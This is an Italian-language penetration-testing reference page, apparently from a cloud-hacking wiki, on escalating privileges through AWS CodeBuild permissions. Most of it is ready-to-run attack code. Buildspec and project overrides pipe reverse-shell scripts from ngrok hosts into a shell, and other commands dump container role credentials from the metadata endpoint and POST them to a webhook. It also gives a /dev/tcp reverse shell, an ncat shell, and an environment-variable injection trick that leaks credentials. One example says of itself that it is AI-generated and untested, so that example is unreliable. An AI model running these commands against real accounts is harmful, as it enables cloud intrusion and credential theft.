# AWS - Codebuild Privesc

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## codebuild

Ulteriori informazioni in:

{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}

### `codebuild:StartBuild` | `codebuild:StartBuildBatch`

Basta una di queste autorizzazioni per avviare una build con un nuovo buildspec e rubare il token del ruolo iam assegnato al progetto:

{{#tabs }}
{{#tab name="StartBuild" }}
```bash
cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
```
{{#endtab }}

{{#tab name="StartBuildBatch" }}
```bash
cat > /tmp/buildspec.yml <<EOF
version: 0.2

batch:
fast-fail: false
build-list:
- identifier: build1
env:
variables:
BUILD_ID: build1
buildspec: |
version: 0.2
env:
shell: sh
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
ignore-failure: true
EOF

aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml
```
{{#endtab }}
{{#endtabs }}

**Nota**: La differenza tra questi due comandi è che:

- `StartBuild` avvia un singolo job di build usando uno specifico `buildspec.yml`.
- `StartBuildBatch` permette di avviare un batch di build, con configurazioni più complesse (per esempio eseguire più build in parallelo).

**Impatto Potenziale:** Direct privesc to attached AWS Codebuild roles.

#### StartBuild Env Var Override

Anche se non puoi **modificare il progetto** (`UpdateProject`) e non puoi **sovrascrivere il buildspec**, `codebuild:StartBuild` permette comunque di sovrascrivere le env vars durante la build tramite:

- CLI: `--environment-variables-override`
- API: `environmentVariablesOverride`

Se la build usa variabili d'ambiente per controllare il comportamento (destination buckets, feature flags, proxy settings, logging, ecc.), questo può essere sufficiente per **exfiltrate secrets** a cui il build role può accedere o per ottenere **code execution** all'interno della build.

##### Esempio 1: Reindirizzare Artifact/Upload Destination per Exfiltrate Secrets

Se la build pubblica un artifact in un bucket/path controllato da una env var (per esempio `UPLOAD_BUCKET`), sovrascrivila con un bucket controllato dall'attaccante:
```bash
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)

# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
```
##### Esempio 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`

Se la build esegue `python3` (comune nei buildspecs), a volte puoi ottenere l'esecuzione di codice senza toccare il buildspec abusando di:

- `PYTHONWARNINGS`: Python risolve il campo *category* e importerà percorsi separati da punti. Impostarlo su `...:antigravity.x:...` forza l'importazione del modulo stdlib `antigravity`.
- `antigravity`: chiama `webbrowser.open(...)`.
- `BROWSER`: controlla cosa esegue `webbrowser`. Su Linux è separato da `:`. L'uso di `#%s` trasforma l'argomento URL in un commento di shell.

Questo può essere usato per stampare le credenziali del ruolo CodeBuild (da `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`) nei log di CloudWatch, quindi recuperarle se hai i permessi di lettura dei log.

<details>
<summary>Espandibile: StartBuild JSON request per il <code>PYTHONWARNINGS</code> + <code>BROWSER</code> trick</summary>
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
</details>

### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

Un attaccante con le autorizzazioni **`iam:PassRole`, `codebuild:CreateProject`, e `codebuild:StartBuild` o `codebuild:StartBuildBatch`** sarebbe in grado di **escalate privileges to any codebuild IAM role** creando uno in esecuzione.

{{#tabs }}
{{#tab name="Example1" }}
```bash
# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project
```
{{#endtab }}

{{#tab name="Example2" }}
```bash
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml

# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml

# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60

# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project

```
{{#endtab }}

{{#tab name="Example3" }}
```bash
# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address

{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}

# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json

# Start a build with the new project
aws codebuild start-build --project-name user-project-1

# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from

```
{{#endtab }}
{{#endtabs }}

**Impatto potenziale:** privesc diretto a qualsiasi ruolo AWS Codebuild.

> [!WARNING]
> In un **Codebuild container** il file `/codebuild/output/tmp/env.sh` contiene tutte le env vars necessarie per accedere alle **metadata credentials**.

> Questo file contiene la **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** che contiene il **URL path** per accedere alle credenziali. Sarà qualcosa del tipo `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`

> Aggiungilo all'URL **`http://169.254.170.2/`** e sarai in grado di dump le credenziali del ruolo.

> Inoltre contiene anche la **env variable `ECS_CONTAINER_METADATA_URI`** che contiene l'URL completo per ottenere le **metadata info about the container**.

### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

Come nella sezione precedente, se invece di creare un build project puoi modificarlo, puoi indicare l'IAM Role e steal the token
```bash
REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project
```
**Impatto potenziale:** privesc diretto a qualsiasi AWS Codebuild role.

### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

Come nella sezione precedente ma **senza il permesso `iam:PassRole`**, puoi abusare di queste autorizzazioni per **modificare progetti Codebuild esistenti e accedere al role che è già assegnato**.

{{#tabs }}
{{#tab name="StartBuild" }}
```sh
REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project
```
{{#endtab }}

{{#tab name="StartBuildBatch" }}
```sh
REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"project_name\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project
```
{{#endtab }}
{{#endtabs }}

**Impatto potenziale:** Direct privesc ai ruoli AWS Codebuild allegati.

### SSM

Avere **sufficienti autorizzazioni per avviare una ssm session** rende possibile accedere **all'interno di un Codebuild project** durante la build.

The codebuild project will need to have a breakpoint:

<pre class="language-yaml"><code class="lang-yaml">phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
<strong>      - codebuild-breakpoint
</strong></code></pre>

E poi:
```bash
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
```
For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).

### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`

Un attacker in grado di avviare/riavviare una build di uno specifico progetto CodeBuild che memorizza il suo file `buildspec.yml` in un bucket S3 su cui l'attacker ha write access, può ottenere command execution nel processo CodeBuild.

Note: l'escalation è rilevante solo se il CodeBuild worker ha un role diverso, idealmente più privilegiato, rispetto a quello dell'attacker.
```bash
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)
```
Puoi usare qualcosa di simile a questo **buildspec** per ottenere una **reverse shell**:
```yaml:buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Impatto:** Privesc diretto al ruolo usato dal worker di AWS CodeBuild che solitamente ha privilegi elevati.

> [!WARNING]
> Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload

Ulteriori dettagli sono disponibili [qui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).

**Impatto potenziale:** Privesc diretto ai ruoli AWS Codebuild associati.

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